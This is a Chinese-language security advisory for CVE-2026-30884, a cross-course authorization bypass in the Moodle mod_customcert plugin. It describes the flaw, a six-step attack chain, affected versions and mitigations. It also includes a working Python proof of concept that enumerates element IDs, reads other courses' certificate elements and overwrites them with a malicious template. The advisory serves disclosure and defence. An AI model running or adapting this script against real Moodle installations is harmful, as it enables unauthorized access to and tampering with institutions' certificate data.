IPBUF安全漏洞报告
English
CVE-2026-30884 CVSS 9.6 严重

CVE-2026-30884 Moodle mod_customcert跨课程证书元素越权访问漏洞

披露日期: 2026-03-18

漏洞信息

漏洞编号
CVE-2026-30884
漏洞类型
跨课程权限绕过
CVSS评分
9.6 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
mdjnelson/moodle-mod_customcert

相关标签

CVE-2026-30884Moodlemod_customcert权限绕过跨课程攻击信息泄露数据篡改Web服务漏洞

漏洞概述

CVE-2026-30884是Moodle课程管理插件mod_customcert中的一个高危安全漏洞。该插件用于在Moodle平台创建动态生成的证书。漏洞源于权限验证机制缺陷,持有mod/customcert:manage权限的教师用户仅需在任何单个课程中获得此权限,即可跨课程读取和篡改其他任意课程的证书元素配置。攻击者利用此漏洞可获取其他课程的敏感证书数据,或恶意修改证书内容,对教育机构的证书颁发系统造成严重威胁。由于CVSS评分高达9.6,该漏洞被评定为严重级别,建议立即升级至修复版本。

技术细节

漏洞存在于mod_customcert插件的两个关键接口:core_get_fragment回调中的editelement功能以及mod_customcert_save_element Web服务。这两个接口均未正确验证传入的elementid参数是否属于当前授权的课程上下文。攻击者只需获取任一课程的mod/customcert:manage权限,即可构造恶意请求,通过猜测或枚举其他课程的elementid值,实现跨课程访问。具体而言,攻击者通过修改HTTP请求中的elementid参数,绕过基于课程的访问控制检查,直接操作目标课程的证书元素数据。由于Moodle的证书元素ID具有可预测性,攻击者可通过自动化脚本批量遍历并篡改大量课程的证书配置。

攻击链分析

STEP 1
信息收集
攻击者获取Moodle平台账户,并在任意课程中获得mod/customcert:manage权限
STEP 2
权限获取
通过Web服务API获取有效的身份验证令牌
STEP 3
目标识别
枚举目标课程的certificate ID和element ID,可通过公开课程信息或猜测方式获取
STEP 4
跨课程读取
利用core_get_fragment回调的editelement参数,构造请求读取其他课程的证书元素数据,造成信息泄露
STEP 5
数据篡改
通过mod_customcert_save_element Web服务,携带目标elementid参数,篡改其他课程的证书元素配置
STEP 6
持久化控制
修改后的恶意证书配置被保存,攻击者实现对目标课程证书颁发系统的非法控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2026-30884 PoC - Cross-course Certificate Element Access # Target: Moodle with mod_customcert plugin < 4.4.9 or < 5.0.3 TARGET_URL = "https://vulnerable-moodle-site.com" WS_TOKEN = "your_web_service_token" # Requires mod/customcert:manage permission COURSE_ID = 1 # Attacker's authorized course TARGET_COURSE_ID = 99 # Victim's course (to be enumerated) def exploit_read_element(element_id): """Read certificate element from target course""" endpoint = f"{TARGET_URL}/lib/ajax/service.php" payload = [{ "index": 0, "methodname": "core_get_fragment", "args": { "component": "mod_customcert", "callback": "editelement", "args": { "elementid": element_id, "customcertid": 1, "courseid": COURSE_ID } } }] headers = { "Authorization": f"Bearer {WS_TOKEN}", "Content-Type": "application/json" } response = requests.post(endpoint, json=payload, headers=headers) return response.json() def exploit_write_element(element_id, element_data): """Overwrite certificate element in target course""" endpoint = f"{TARGET_URL}/lib/ajax/service.php" payload = [{ "index": 0, "methodname": "mod_customcert_save_element", "args": { "elementid": element_id, "customcertid": 1, "data": element_data, "courseid": COURSE_ID } }] headers = { "Authorization": f"Bearer {WS_TOKEN}", "Content-Type": "application/json" } response = requests.post(endpoint, json=payload, headers=headers) return response.json() # Enumerate and exploit for element_id in range(1, 1000): result = exploit_read_element(element_id) if result and result[0].get('data'): print(f"Found element {element_id}: {result[0]['data']}") # Modify and write back exploit_write_element(element_id, {"pagetemplate": "malicious_template"})

影响范围

mdjnelson/moodle-mod_customcert < 4.4.9
mdjnelson/moodle-mod_customcert < 5.0.3

防御指南

临时缓解措施
如无法立即升级,可通过以下措施临时缓解:在Moodle管理后台限制mod/customcert:manage权限的分配,禁用不必要的Web服务接口,对跨课程的API请求实施额外的业务层校验,并密切监控证书相关操作的日志记录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表